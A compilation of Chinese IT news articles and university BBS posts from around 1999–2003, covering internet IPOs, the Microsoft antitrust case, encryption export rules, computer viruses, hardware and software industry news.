美国纳斯达克曾创造了微软第一批股市奇迹。如今，互联网企业已成为美国第一大产业。美国互联网公司股市的成功给投资者很高的预期。据华尔街的股票分析人称，人们现在似乎更愿意为未来潜力付出大价钱。正是这种预期，在美国上网人数增长趋缓之际，投资人将重点放在了高增长的亚洲网络产业上。中国拥有巨大潜力的互联网市场，在１２亿人口中，目前只有４００万网民，互联网市场发展速度快，潜力巨大，前景诱人。因此中国的网络股在纳斯达克上市才受到如此青睐。 　　中华网网络公司（Ｃｈｉｎａ．ｃｏｍ）于今年７月在华尔街股市上市获得巨大成功，被认为是上市“中国网络股”的一大胜利。其让更多人了解了中国互联网业的发展，也极大地刺激了其他谋求上市融资的互联网公司上市的热情。国内几乎所有知名网站公司如新浪、搜狐和网易等都宣布了上市时间表。 　　世纪永联为了更快地上市以筹措发展资金，采取的是反向兼并上市。美国一家证券中介公司作为其在美国上市的代理进行运作。首先是一家ＯＴＣＢＢ上市、股票代号为ＹＮＯＴ的公司向世纪永联定向发行该公司股票２０００万股，而ＹＮＯＴ原来仅５００万股，这样，在总共２５００万股中，世纪永联占有８０％。兼并完成后，ＹＮＯＴ改名为世纪永联公司，赵晓侠出任上市公司董事长。ＯＴＣＢＢ与纳斯达克是预备资格与正式资格的关系，入市门槛较低。因此有专家提醒说，因内企业不要只盯着纳斯达克，ＯＴＣＢＢ同样是新生企业的上市捷径。 　　外资引入对中国互联网发展起到促进作用 　　从美国互联网产业的发展，我们看到，互联网产业的成功来自与资本市场的完美配合，这种资本是其发展的主要动力和燃料。在我国互联网企业迅速发展的同时，首先遇到的就是资金问题。互联网公司目前大多微利或无利，谈不上企业自身的积累，银行不会提供常规贷款。因为风险高、前期投入大，国内投资机制不健全，难以解决风险投资出口问题，使国内投资远离这些没有赢利的互联网公司。因此这些公司把目光转向海外风险投资公司，寻求在海外上市。目前，我国互联网公司（主要是ＩＣＰ）大多具有外资背景，这些海外资金的介入，促进了我国互联网企业的发展。 　　在互联网这个行业中，无论是技术资金，还是管理水平，发达国家都远远地走在前面。全球网络经济已对我国带来冲击与震荡，发展中国互联网事业不能等。中国互联网企业要迎头赶上，必须合作，而开放是合作的前提。随着外资的引入，中国的互联网行业将有一个极快的发展，它同时带来就业机会、与国际惯例接轨的管理理念，使我国互联网企业能够提高直接参与国际竞争的能力。当然，商业风险对外资也是挑战。 　　中国互联网事业刚开始 　　网络经济的发展彻底改变了人类财富的组成和走向，在国外，“投资办公司，经营两三年，上市融资，公司升值”已成为互联网公司的发展模式。在中国，此模式被效仿。从搜狐的成功，我们大致可以看出中国ＩＣＰ的运作：选择一个外国成功的网站经营模式，以概念获得初期项目投资，填补一项中国互联网内容的空白，媒体炒作树立品牌，利用投资者对中国互联网前景预期，在资本市场获利。 　　我国尚处于互联网发展的初期阶段，但中国互联网将成为我国成长最迅速的经济领域。从发展趋势看，１９９４年，我国上网用户仅０·１６万，到１９９９年就升到４００万，预计年底达７００万，２００３年将达３０００万。互联网是一新的通讯方式，也是一种新的交易方式，更是一种基础设施。１９９９年，中国互联网迈出一大步，互联网走出了ＩＴ，它开始与国民经济其他领域深度结合，其发展速度将超出我们的想象。
发信人: vasto (力维), 信区: Multimedia 标 题: 有关数字地球 发信站: 日月光华站 (Thu Dec 2 18:53:26 1999) , 转信 　　据新华社北京11月29日电今天在京开幕的数字地球国际会议引起了人们对“数字地球” 这一概念的兴趣，那么究竟什么是数字地球呢？ 　　为有效研究和解决有关地球的重大问 题，目前世界上许多国家都在积极发展和运用先进的科学技术，如以遥感、地理信息系统、 全球定位系统为代表的地球信息技术，以数字的方式获娶处理和应用关于地球自然和人文因 素的空间数据，并以此为基础提出解决资源环境问题的科学方案和有力措施，增强对重大自 然灾害的快速反应能力。与此同时，信息技术革命席卷全球，使人类对地球空间数据进行处 理、分析的技术手段和观念发生了翻天覆地的变化。 　　在这种情况下，近年来人们设想 把有关地球的大量的、多分辨率的、三维的、动态的数据按地理坐标集成起来，形成一个数 字地球。借助于这个数字地球，人们无论走到哪里，都可以按地理坐标了解地球上任何一处 、任何方面的信息。 　　数字地球是对真实地球及其相关现象统一性的数字化重现和认识 ，核心思想有两点：一是用数字化手段统一性处理地球问题；二是最大限度地利用信息资源 。 　　数字地球由下列体系构成：数据获取与更新体系、数据处理与存储体系、信息提取 与分析体系、数据与信息传播体系、数据库体、网络体系、专用软件体系等。数字地球可以 包容80％以上的人类信息资源，是未来信息资源的主体核心，是信息高速公路上的“车”和 “货”。 　　又讯：我国近年来积极构筑“数字地球”，以促进中国乃至全球的可持续发 展。在信息技术及其应用领域的法规建设、空间数据信息收集、传输和处理的基础设施建设 、通讯网络建设、国产计算机硬件软件开发等方面做了大量工作。我国已经发射了68颗卫星 ，获取了高分辨率的全景摄影图像，建立了多个遥感卫星地面接收站，能够接收和处理卫星 图像数据，建立了许多气象卫星接收台站，接收和处理气象卫星等数据。 --
有人毁了你的网站，并潜伏在防火墙的背后。你怎么称呼这家伙？黑客！ 　　很多公司如发现黑客攻击后，一般不会通知FBI，而会首先告诉他们的私人安全顾问。日益增加的电子商务行业正在遭受电脑黑客的骚扰。为此一些专门解决安全问题的公司应运而生。这些公司许多人都雇用“黑客跟踪侦探”去一对一地对入侵者进行跟踪。这样黑客们就开始了数据防卫竞赛，一方面黑客不断开发工具软件以便更容易及更快的进行入侵。软件公司就不断地开发软件去惩治他们。 　　在美国，安全问题相当突出，国家重要的电脑网站的安全问题日益严重，以至美国总统最近提议在联邦预算中增加9100万美元，以便保护电脑网站，并成立一个联邦电脑服务部门。该部门是为了让大学生加入反黑客的战争中去。 　　目前数据保护公司的45名员工及ICSA.net的100余名电脑高手正24小时地与黑客进行战斗。
怎样选择交换机（一） 文章出处：天极商务应用 作者：李丞驰 交换机作为网络连接的主要设备，本身决定了网络的性能和稳定性。随公司大小不同，网络的结构也有很大的差别，采用的交换机也必须视具体情况而定，但是为了让公司的网络能承担起大量的网络数据的传输且能持久稳定安全地运行，必须选用能符合条件的性能优异且价格合适的交换机。我个人从事此方面的工作有一段时间，对目前交换机的技术和性能有一些基本的看法，希望能给大家一些参考作用： 　　 一．近年来交换机产品上的新技术 　　近年交换机出现了很多新技术，有些技术是很有用的。 　　 1． Trunking，Trunking技术可以在不改变现有网络设备以及原有布线的条件下，将交换机的多个低带宽交换端口捆绑成一条高带宽链路，通过几个端口进行链路负载平衡，避免链路出现拥塞现象。在公司的网络骨干部分的一部分设备可以使用此技术：网络流量比较大，但是实际情况不允许使用光缆的情况下，使用Trunking可以解决数据传输中的瓶颈问题。 　　 2． 第三层交换机基础上发展的第四层交换机。这个是比较新的功能，在这里详细介绍一下。
日本网络在亚洲优势渐失 作者： 胡巍编译·CPCW 摘自：　www.yesky.com eMarketer一项报告称，中国和印度的互联网发展将在不远的将来超过日本。 报告中说，中国互联网的活跃用户将由1999年的250万上升到2003年的2,100万，涨幅达750%。印度互联网的活跃用户2003年将达到900 万，而1999年是27万。 同一时期内，亚洲互联网的老大——日本，用户将从1999年 的1,030万上升到2003年的3,100万。而同时期日本在亚洲主要互联网市场 所占的比重将从48%下降到32%。 亚洲人口是世界人口的一半，但互联网用户却只占全世界用户的16.6%。报告中说这一百分比在未来几年内会显著提高。到2000年末， 亚洲活跃的成人用户将达到3,800万，到2003年这个数字将涨到9,583万，占世界总数的25.7%。 互联网的渗透力在亚洲各国是不一致的。大约有一半亚洲国家低于3%，而新加坡和澳大利亚分别自称有39.9%和19.2%。在亚洲男性用户 占78%，而女性用户占22%。这与美国的情况大为不同，美国的男性用户只占49%。 报告还注意到亚洲电子商务的增长，受亚洲经济复苏的驱动以及人们对网上交易的认可，将从1999年末的86亿美元上升到880亿美元。 在总的电子商务收入中，B2B占了很大比例。1999年电子商务收入66.3亿美元，其中50.9亿美元，即77%，来自B2B交易。到2003年B2B将占整 个电子商务的87%。 eMarketer的高级分析师Brian Gilman指出，“中国和印度互联网的发展主要因为其人口众多。电缆调制解调器和无线接入等形式将把 这两个国家推到互联网市场的前沿。当今，在这两个国家有些地区还没有完全普及传统电话。他们自称是世界最大的移动电话和有线电视市 场，这些可以使他们在亚洲成为继日本之后的互联网龙头。
微软公司对联邦法官托马斯·杰克逊对其行为的严厉指责首次作出了法律回应，声明说政府无法证明微软违反了美国反托拉斯法。 　　微软于当地时间本周二提交的一份法律文件中表示，政府迄今掌握证据不足以支持对该公司的违法判决。 　　微软的律师表示他们不能同意杰克逊法官去年11月的判决，当时法庭的结论是微软确实形成了垄断，这种垄断阻碍了竞争对手的发展，损害了消费者的利益。 　　微软对政府在为期15个月的审判过程中出具的证据提出了全面的异议，同时微软的律师将重点放在自1998年5月这一诉设案开始以来的疑点上。他们争辩，微软在视窗软件上内置因特网浏览器并不违反联邦法规关于禁止公司捆绑销售某些产品的规定，而且微软与因特网服务商和其他公司的合同也不违法。
路透社报导，位居世界微机销售量第一的美国康柏计算机公司在今年将改变经营方式，将仿效戴尔公司的做法，把直销作为计算机销售的主要方式。在最近一次记者招待会上，康柏计算机公司总裁声称，康柏将改变其销售渠道，在2000年将有40%的计算机以直销方式直接向客户销售，而这个数字在1999年还只有25%。
CNET报导，据美国著名的市场调查公司（IDC）最近发表的调查报告称，由于微机性能更新速度的加快，使微机的使用周期大大缩短，一台新型微机到第三年就会显得过时，微机实际的更新淘汰周期已缩短为二年，在芯片不断更新的推动下，各计算机厂也随时推出各种新型微机，微机产品的更新周期越来越短，据估计，这个趋势还将持续一段时间。
路透社报导，自从美国法官栽定微软是垄断企业以后，微软一直在寻求和美国司法部实现庭外和解。最近有消息透露，美国司法部将要求微软自动分解成为二到三个互相独立的公司作为和解的条件。这些分解出的公司中有一个可专门经营和生产视窗软件，而其他公司则经营其他软件和业务，并称此方案将在下月内正式出台。
微软公司称，由于政府放宽了加密技术软件的出口限制，它将在世界范围内发布其第一个具有安全特性的重要产品——采用强大加密技术的Windows 2000操作系统。 　　该工业曾努力游说政府放宽128-位代码的限制，128-位代码比现有的64位代码更难破解。它被用来发送安全电子邮件和保护网络资料免受黑客袭击。 　　克林顿政府曾反对应用强大密码的应用，称罪犯和恐怖分子可能用它掩盖非法行为。但该工业赢得了胜利，它称限制妨碍了美国的竞争力。 　　微软称根据政府上周五发布加密出口调节，将于下个月发布的操作系统——Windows 2000商业版，标志着第一个具有128-位加密技术的平台将被发送到世界各地。微软称它将与美国政府的调节者密切合作，以便获得向世界各地消费者发送具有强大加密技术的Windows 2000的必要支持。 　　过去，来自其它国家的开发者曾添加强大的加密技术，一些公司获得了使用这些特性的特别许可。但对于新软件来说，它将内置强大的加密技术，大多数商业用户都可以使用。美国已经销售具有128-位安全性的软件很长时间了。 　　具有强大加密技术的Windows 2000将于2月17日面市。
前天,微软公司公布的《事实认定书》回复书正式对美联邦法官的裁决予以反驳,称这是没有事实依据的。微软的律师表示他们不能同意捷克逊法官去年11月的判决，当时法庭的结论是微软确实形成了垄断，这种垄断阻碍了竞争对手的发展，损害了消费者的利益。 　　微软在18日公布的文件中以1998年6月上诉法院的一项裁决以及过去30年来的有关案例为依据反驳说政府方的指控－即微软将浏览器程序与操作系统捆绑在一起是非法的－在法律上是站不住脚的。微软称美国政府方没有任何证据可以说明IE浏览器与视窗操作系统是两个单独的软件，它们的捆绑剥夺了消费者购买市场上销售的软件时的选择权。 　　微软反驳的另一要点是微软与其他厂商签订的合同根本不妨碍它们选择其他浏览器，这主要是针对原告方关于微软采取非公平竞争手段来排挤网景公司的指控所作的辩护。
　　SCSI的英文全称为“Small Computer System Interface”（小型计算机系统接口）。它是一种与IDE（ATA）完全不同的接口，它不是专门为硬盘设计的，而是一种总线型的系统接口。每个SCSI总线上可以连接包括SCSI控制卡在内的8个SCSI设备。SCSI的优势在于它支持多种设备，独立的总线使得它对CPU的占用率很低，传输速率比ATA接口快得多，但同时价格也很高，所以也决定了其普及程度远不如IDE，只能在高档的电脑设备中出现。 　　最早的SCSI是于1979年由美国的Shugart公司（Seagate希捷公司的前身）制订的，原是为小型机的研制出的一种接口技术，但随着电脑技术的发展，现在它被完全移植到了普通微机上。与PC机常用的IDE接口技术一样，SCSI接口技术也得到了不断发展。 　　在90年代初，推出了SCSI－2标准，类似于SCSI-1，但是可以支持同时连接7个装置，传输速率也达到了 10-20MB/s。
发信人: MarkW (amour), 信区: Multimedia 标 题: AMD推出橄榄球型计算机 发信站: 日月光华站 (Wed Nov 17 09:07:08 1999) , 站内信件 CNET报导，美国著名芯片制造厂AMD公司最近在美国拉斯维加斯召开的计算机分销厂大 会（Com dex）上推出了一种名为Easy Now 橄榄球型计算机。这台新型的微机高11.5英 寸，宽6英寸，长11英寸，机箱正面有一个CD-ROM驱动器和二个USB接口，采用AMDK6-2处 理器，32兆到128兆内存，并配有4.3G以上的硬盘。据称这种体型小巧，使用方便的微机 不仅功能全面，且外观非常漂亮，估计它会象苹果公司的iMac那样，给计算机开创新的 理念。 -- 预感 心的感觉,不一样的感觉 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.64.5.11]
日月光华站精华区 -------------------------------------------------------------------------------- 发信人: dbman (dibo), 信区: DB 标 题: 数据库系统 发信站: BBS of FDU (Tue May 14 08:42:11 1996) 数据库系统 是一个实际可运行的存储、维护和应用系统提供 数据的软件系统，是存储介质、处理对象和管理 系统的集合体。它通常由软件、数据库和数据管理员 组成。其软件主要包括操作系统、各种宿主语言， 实用程序以及数据库管理系统。数据库是依照某种数据 模型组织起来并存放二级存储器中的数据集合。这些 数据为多个应用服务，独立于具体的应用程序。数据库 由数据库管理系统统一管理，数据的插入、修改和检索 均要通过数据库管理系统进行。数据库管理系统是一种 系统软件，它的主要功能是维护数据库并有效地访问数 据库中任意部分数据。对数据库的维护包括保持数据的 完整性、一致性和安全性。数据管理员负责创建、监控 和维护整个数据库，使数据能被任何有权使用的人有效 使用。数据库管理员一般是由业务水平较高、资历较深 的人员担任。 　数据库系统的个体含义是指一个具体的数据库管理系 统软件和用它建立起来的数据库；它的学科含义是指研 究、开发、建立、维护和应用数据库系统所涉及的理论、 方法、技术所构成的学科。在这一含义下，数据库系统 是软件研究领域的一个重要分支，常称为数据库领域。 数据库研究跨越于计算机应用、系统软件和理论三个领 域，其中应用促进新系统的研制开发，新系统带来新的 理论研究，而理论研究又对前两个领域起着指导作用。 　　数据库系统的出现是计算机应用的一个里程碑，它 使得计算机应用从以科学计算为主转向以数据处理为主， 并从而使计算机得以在各行各业乃至家庭普遍使用。在 它之前的文件系统虽然也能处理持久数据，但是文件系 统不提供对任意部分数据的快速访问，而这对数据量不 断增大的应用来说是至关重要的。为了实现对任意部分 数据的快速访问，就要研究许多优化技术。这些优化技 术往往很复杂，是普通用户难以实现的，所以就由系统 软件（数据库管理系统）来完成，而提供给用户的是简 单易用的数据库语言。由于对数据库的操作都由数据库 管理系统完成，所以数据库就可以独立于具体的应用程 序而存在，从而数据库又可以为多个用户所共享。因此， 数据的独立性和共享性是数据库系统的重要特征。数据 共享节省了大量人力物力，为数据库系统的广泛应用奠 定了基础。数据库系统的出现使得普通用户能够方便地 将日常数据存入计算机并在需要的时候快速访问它们， 从而使的计算机走出科研机构进入各行各业、进入家庭。 -- ※ 来源:．BBS of FDU news.fudan.sh.cn．[FROM: server.fudan.ed] -------------------------------------------------------------------------------- *[日月光华站] [全部讨论区列表] [分类讨论区列表] [精华区列表]
据外电报道，一款在某个强大的高科技集团资助下研制成功并且在研制期间被严格保密的计算机芯片不久就要问世了。这款芯片是总部位于美国圣克拉拉市的特兰斯梅塔公司（Transmeta Corp.）在首席执行官大卫·迪泽尔（David Ditzel）的领导下历时五年研制的。迪泽尔曾在美国电话电报公司的贝尔实验室和太阳微系统公司担任芯片设计师。该公司日前通知记者和业界分析家，将于本周三正式展出“世界上第一套以软件控制的系列智能型电脑芯片”。 　　从特兰斯梅塔公司网站上公布的信息得知，这种被称作“克鲁梭处理器”（Crusoe Processor）的芯片专为移动应用而设计，由于在设计过程中既强调硬件也同样突出软件，因此“克鲁梭”可以说是软件与硬件紧密结合的产物，这对芯片巨头英特尔公司的设计思想构成了有力的挑战。特兰斯梅塔公司只进行“克鲁梭处理器”的开发设计，生产任务将交由其它公司完成。观察家们指出，“克鲁梭处理器”将在多媒体领域获得广阔的应用前景。 　　特兰斯梅塔公司的技术力量非常强大，不乏象Linux操作系统的设计者莱纳斯·托瓦尔兹（Linus Torvalds）那样的技术天才，它的投资者也尽是一些赫赫有名的大人物，如作为微软创始人之一的保罗·艾伦和金融大鳄乔治·索罗斯。特兰斯梅塔公司自成立以来一直拒绝向外透露它的开发项目，令业界人士对其倍感神秘。
4月15日，国内服务器第一品牌--浪潮，在北京正式拉开主题为“新应用·新机遇·新起点”--浪潮服务器　服务中国信息化十年的大型系列活动序幕。国家信息产业部的领导、国家“863计划”专家组、中国计算机用户协会、Intel公司、微软以及各大媒体纷纷发来贺词，对浪潮服务器十年来对中国服务器产业发展和中国信息化建设的推动作用给予高度评价和肯定。作为第二个十年的新起点，浪潮继往开来，发布以“弹性部署”为核心的未来服务器发展战略，同时发布了代表中国计算机产业最高技术水平的“浪潮天梭TS20000”。 　　从1993年浪潮推出国内第一台服务器产品SMP2000至今，中国的服务器产业已经走过了整整十个年头。在这十年中，浪潮带领中国的服务器产业经历了从无到有、从弱到强的发展，并占据了近50%的市场份额，为推动中国的信息化建设、促进中国信息产业发展发挥了重要的作用。浪潮在与国外巨头的直面竞争的过程中逐渐强大起来，产品、技术、服务、渠道、营销等方面日趋完善，在七年蝉联中国服务器市场销量第一、三年连续与IBM、惠普同列“前三甲”的基础上，凭借强大的技术积累、专业服务器渠道与专家服务队伍建设，浪潮成为服务器领域唯一能够与IBM、HP等国际巨头抗衡的本土服务器厂商，应该说浪潮服务器的十年就是中国服务器产业十年的缩影。
近日，记者从清华紫光笔记本电脑事业部了解到，五一起，消费者购买清华紫光VL850D笔记本电脑，可同时获得价值638元的“康宝”消毒柜一台。紫光笔记本在满足消费者自由办公、轻松生活需求的同时，也为消费者的健康生活送去了保障。 　　紫光笔记本电脑事业部总经理黄俊杰表示：“满足用户需求是紫光‘移动专家’发展策略下的重要支柱。健康生活是追求生活质量的前提。本次促销活动旨在提高消费者生活质量，同时为消费者的健康生活提供保障。让消费者‘五?一’期间，有一个轻松的假期生活。” 　　据悉，紫光VL850D笔记本电脑属于轻薄P4家族中的高端产品。采用Intel mobile P4 2.0GHz CPU，256MB DDR内存，30GB硬盘，满足用户对高性能产品的追求，实现更高工作效率。 　　在娱乐功能方面，配备了8xDVD驱动器、14.1” 1024x768x32 TFT LCD显示逼真细腻、3D 立体声音效及包含1394接口在内的齐全的接口，使您的电脑成为移动的数字多媒体影音视听中心。
日经产业报导，据日本信息处理振兴事业协会最近公布的数据显示，1999年日本计算机病毒发病数是有纪录以来次数最多的一个。去年一年中，该协会共收到3645年有关计算机病毒侵害事件的报告创历史纪录。统计显示，1999年，日本因电子邮件传播的计算机病毒数量由1998年的826例增加到2443例，而通过软件传播的病毒却从700例减少到611例，这说明电子邮件已成了日本计算机传播病毒的主要途径。
现在的笔记本电脑，都可以自己增加内存。可是，早期的486、586笔记本，内存焊在主板上，不能增加。我有一台586笔记本，8M内存，速度很慢，想了很多办法，收效甚微。关键在内存，如何才能增加它的内存容量呢？ � � 我拆开笔记本，仔细观察，发现主板上的内存芯片有4块，OKI产的，型号为M51181650，每片2M。我想，要是多有几块芯片，内存容量不就增加了！仔细看主板上是否还有空闲的内存芯片位置，老天有眼，就在旁边，有4个芯片位置！上面标明U5、U6、U7、U8，而已经焊有芯片的为U1、U2、U3、U4，看来成功在望了！我一阵窃喜。 � � 可到哪儿去找这2M的内存芯片呢？跑遍了所有的电子商店都未能如愿。我有些气馁了。对了，先前的EDO内存上不是有许多2M的芯片么！我找来几块“解放前”的EDO，仔细观察，应该是没问题。接下来的工作便是将芯片取下，再将其焊上。一切OK！
北京汉王科技公司的刘迎健总裁最近总算松了一口气：微软1月6日发布的一项声明称，在3月推出的Windows2000中文版中，将不包含手写识别功能。这对一直在担心的汉王来说，无疑是一个极好的消息。但刘迎健仍然不放心。“如果微软真要在Windows2000中捆绑手写识别程序，汉王就死定了。”他说。 　　汉王的工厂都盖好了 　　去年微软在Word2000中文版中加入了汉字手写识别功能后，就引起了汉王的注意。他们一直在关注微软的动向。到了11月，他们最担心的事情终于发生了，微软在Windows2000的三个测试版本中都捆绑了手写识别程序。 　　微软三个测试版出来以后，汉王的销售额增长开始变慢，这是多年来从来没有过的。想起网景公司的前车之鉴，令人不寒而栗。事实上，汉王已到了一个生死存亡的关头。公司专门成立了前沿指挥部，夜以继日地讨论对策，最坏的打算是被迫改行。据说汉王已经盖了一个很大的工厂，万一官司打不赢，就去卖别的产品。 　　汉王的未雨绸缪看来是有道理的，他们早就组建了律师团，开始收集证据，研究中国相关法律，密切关注美国司法部的反微软垄断案，翻译有关司法材料，加紧了反垄断诉讼的准备。一旦微软在Windows2000中文正式版中捆绑了手写识别程序，汉王就会提出反垄断诉讼，要求微软每天50万元的赔偿。刘迎健说：“打赢的可能性很大，连亚都都打赢了。”据悉，汉王的做法得到了有关单位的支持，全国人大、信息产业部、国家信息科工委以及行业协会，都对此表明了态度。 　　两家公司反目成仇 　　“我们和微软是爱恨情仇”，刘迎健这样说汉王和微软的关系。 　　几年来，汉王和微软一直是合作伙伴，汉王称自已也是微软的受益者，因为在Windows几乎一统PC机操作系统前，汉王的一个手写识别系统要针对不同的操作系统，做十几个版本，现在只需要做一个就行了。而微软在移动和手持设备方面也采用了汉王的软件技术，在去年微软力炒的维纳斯计划中，汉王也参与了部分设计工作。 　　1998年12月8日，汉王与微软在人民大会堂签订了一份授权协议，允许微软在WindowsCE中采用汉王的手写识别技术，这以后，汉王与微软的关系开始发生微妙的变化。 　　据说当时授权时，两家公司达成了一个“微软不进入手写市潮的口头协议，但就在协议签后不久，微软就组建了“语音及手写识别组”，进行相关技术的研究。随后，微软发布了最新的办公套件Office2000,捆绑了中文手写输入功能。1999年11月，Windowsβ版中又出现了汉字手写识别软件的身影。 　　大概是1999年10月初，汉王知道了微软要捆绑手写识别软件,便立即与微软中国公司高层领导交谈,可对方态度很坚决,表示不能撤掉。但到了12月，Windows2000的最终测试版中还是去掉了这一功能。 　　然后是微软在今年发表声明，表示对有关公司指责微软公司在Windows2000发展汉字手写输入技术感到遗憾，声称即将推出的Windows2000中文版中“不包含微软手写识别功能，因为它在一些方面尚未达到微软对于产品的要求标准。”微软在声明中还说，微软对手写识别技术已经开发研究了十几年，投入了大量的人力与物力。由微软公司手写识别技术组开发的核心技术，已经被许多国家和地区广泛采用，微软中文手写识别就是基于这个核心技术开发出来的。 　　1月13日，汉王也发表声明，对微软在Windows2000中不包含手写汉字输入功能表示欢迎。但同时对微软声明中的一些说法提出了异议。 　　呼唤我国的反垄断法 　　汉字手写识别技术得到了国家“863”项目的支持，经过十多年的研究开发，中国汉字手写识别软件技术已经比较成熟。1998年，以开发手写识别为主的汉王营业额就增长了600%；1999年，又涌现了一大批汉字手写输入厂商。用户需求进一步扩大，手写输入成为中国通用软件的一个大市常 　　其实，早在授权微软WinCE采用手写汉字识别技术的时候，汉王的咨询顾问北大企业研究中心就指出了微软垄断技术市场的可能性。他们说，微软与汉王合作后，微软除得到这款软件的使用权外，还因此了解了这个技术的相关技术研发机构的实力及汉字手写的市场前景。微软一向喜欢进入一个已经由别人开拓过的市场的。北大企业研究中心的意见是：汉王必须时时警惕，枕戈待旦。 　　对微软取消最终测试版的手写输入功能，汉王和北大企业研究中心分析了四种可能的原因：第一是美国官司打输，微软在这方面的做法有所收敛；第二是去年国内兴起反知识霸权的浪潮，经历了从维纳斯到吴士宏辞职等等一系列的事情，微软在进入中国之后，再面对新的激烈的斗争，吃官司的可能性，他们也有所顾忌；第三是他们的技术还不够成熟；最后一种可能性，是微软对自身策略进行了反思。 　　不管怎样，汉王对现在的结果还是感到很高兴。他们说希望是第四个原因，这样有利于市场回到公平竞争，促进科技创新的路上来。虽然微软暂时取消了手写识别的捆绑计划，但正如汉王所说，他们在跟律师研究提起反垄断诉讼时，感到法律依据不够有力。因此，尽快健全法律法规，营造一个公平竞争的环境，才是最迫切的需求。这样，汉王与微软的“手写”之争就具有了普遍意义，而不仅仅是一个特殊的个案。 　　另据记者了解，我国的反垄断法已经在起草之中，今年下半年有望出台。
全球通讯组件领导厂商杰尔系统(Agere Systems)日前正式宣布，全球知名笔记型电脑厂商三星电子已选择Agere WaveLAN无线网络芯片研发现有与新一代的笔记型电脑。Agere低成本802.11b解决方案提供一套通用的芯片组与软件平台，提供三星将高效能及安全性极高的无线通讯功能融入现有与新一代消费性与商务用笔记型电脑。 　　Agere WaveLAN芯片已应用于三星的Q-10、P-20及P-25等笔记型电脑中，并已行销至全球各地，更预定于今年稍晚推出的多款全新一代笔记型电脑中建置Agere的Wi-Fi解决方案。三星的笔记型电脑为市面上最轻薄精巧的机种之一，并搭载最新型的硬件与多媒体功能。 　　Agere Systems表示：「Agere正为三星提供最佳的技术，以支持各种完整且富弹性的硬件与软件驱动程序，一直到最尖端的加密与认证机制等高品质Wi-Fi解决方案。三星一直致力于开发各种高效能、造型精巧且易于携带的笔记型电脑，我们相信透过Agere完善的WaveLAN解决方案，三星可提供其行动使用者所需的持续联机功能。」 　　Agere WaveLAN芯片组内含一套直接降频的无线电、基频、媒体存取控制器、功率管理及软件驱动程序，并透过关键核心技术针对各种接口提供高效能的无线网络功能，如Cardbus、MiniPCI、PC卡、PCI、Compact Flash与USB接口等，更支持名为WPA(Wi-Fi Protected Access)的新型软件安全标准，针对无线局域网络环境增强使用者认证与数据保护的功能。
BBC报导，五个15到17岁的黑客入侵了美国和其他地区的一些网络服务站，从中窃走了几十万个互联网帐号，然后利用这些帐号扫描了美国橡树岭国家实验室等二家重要的美国核武器实验室，并进入了实验室的计算机系统，虽然由于发现得早而及时阻断了入侵，但这还是让美国的计算机安全部门虚惊一场。
　在过去几年，有许多人写了许多的关于防病毒的文章，然而总没有说 出些直接有效的方法来。仍然有很多人的计算机遭到病毒袭击并导致重要数据的丢失。 这篇文章就想在这方面有些突破，也给那些尚不知计算机病毒为何物的人一些启示。 　　文章将分为两部分，第一部分介绍一下什么是病毒及其历史简要，同 时在这部分将给大家介绍一些技术背景。第二部分阐述如何防止病毒侵入，并告诉你怎 样才算是一个好的反病毒软件。 　　确保数据安全的第一定理："不要买计算机。" 　　定义 　　在开始讨论之前，首先要确切的了解一下什么是计算机病毒？共分几 种？都有哪些特征？ 　　普通计算机病毒是一个能进行自我复制的程序，它的主要目的是为了 向外传播，有些也进行破坏。 　　以大名鼎鼎的美丽莎电子邮件病毒为例，它就是第一个通过用户的邮 件地址簿中的的地址向外传播的MS-WORD宏病毒。它的传播范围之广在以前是另人无法 想象的。正是由于它的传播所带来的大量邮件堵塞造成了全球范围内无以计数的邮件服 务器的关闭。 　　特洛伊马也是一种程序，它们通常伪装成其它东西以麻痹用户，目的 是为了破坏和窃取机密信息。 　　你可以把它们比作是间谍，因为它们会把用户计算机中的密码，机密 文件等通过电子邮件传输给它们的制造者。比如前不久有一个特洛伊马伪装成一个JPEG 文件，用户如果一不留意将它打开，就会有机密信息被窃的危险。
生物信息处理系统 一、生物信息学简介 生物信息学是把基因组DNA序列信息分析作为源头，破译隐藏在DNA序列中的遗传语言，找到代表蛋白质和RNA基因的编码区，特别是阐明非编码区的实质；同时在发现了新基因信息之后进行蛋白质空间结构模拟和预测；然后依据特定蛋白质的功能进行必要的药物设计。因此在基因组研究时代，生物信息学包含三个重要内容，它们是基因组信息学，蛋白质的结构模拟以及药物设计。 生物信息学的研究目标是揭示"基因组信息结构的复杂性及遗传语言的根本规律"。它是当今乃至下一世纪自然科学和技术科学领域中"基因组"、"信息结构"和"复杂性"这三个重大科学问题的有机结合。 无论是对于计算机科学理论，快速算法设计与分析，还是对于高性能计算机的开发，生物信息学都提出了很多挑战性的问题。 二、生物信息学近期、远期的重要研究方向 大规模基因组测序中的信息分析。 新基因和新SNPS的发现与鉴定。 完整基因组的比较研究。 大规模基因功能表达谱的分析。 生物大分子的结构模拟与药物设计。 三、正在开展的工作 生物信息处理中的算法研究 主要研究生物信息处理中的算法问题，如何将一个生物学上的问题转化成一个计算机领域的问题，运用优化技术、图论、人工智能等计算机科学理论求解该问题的快速高效算法。 生物信息处理 主要内容包括生物信息学领域一些算法及其并行化研究，在此基础上研制出生物信息处理软件平台，争取在生物信息处理算法和软件平台研制两方面取得突破，为生物信息产业做好前期准备工作。
当网络安全软件市场逐渐开始扩大的时候，分销渠道似乎看到了一个新的增值空间。但是，任何增值都是以牺牲效率为前提的，对于讲求效率的分销商来说，在这种两难的境地下，究竟应该做出怎样的抉择呢？ 20 03年元旦刚过，晓通网络和东方龙马两家公司的负责人先后来到了位于北京CBD的嘉里中心，正式与冠群金辰有限公司签署了网络安全全线产品的代理协议，也就是从这个时候开始，冠群金辰顺理成章地终止了同朝华软件多年的代理合作关系。两个月后，朝华软件正式推出了自有品牌的"朝华安博士网络防病毒软件"。 对于以利益为相互之间结合点的IT渠道来说，厂商与渠道的分分合合本来就是情理之中的事情，但是具体到冠群金辰这家专注于网络安全市场的企业来说，其总代理变更的背后，其实蕴涵着相当深远的意味，对于以分销高端网络安全软件为主的渠道来说，更是如此。 分手背后 冠群金辰销售总监朱建嵩评价朝华软件:"有一个非常勤奋的团队，双方在早期的合作中，价值观念也都比较接近，因此才会有过一段不错的合作。"但是在冠群金辰的二级代理渠道中，对于这种合作的评价就没有朱建嵩这样客气了，一家不愿意透露身份的二级代理商明确表示，"冠群金辰早就应该更换总代理了，如果从分销商的角色来看，朝华软件并不合格。"
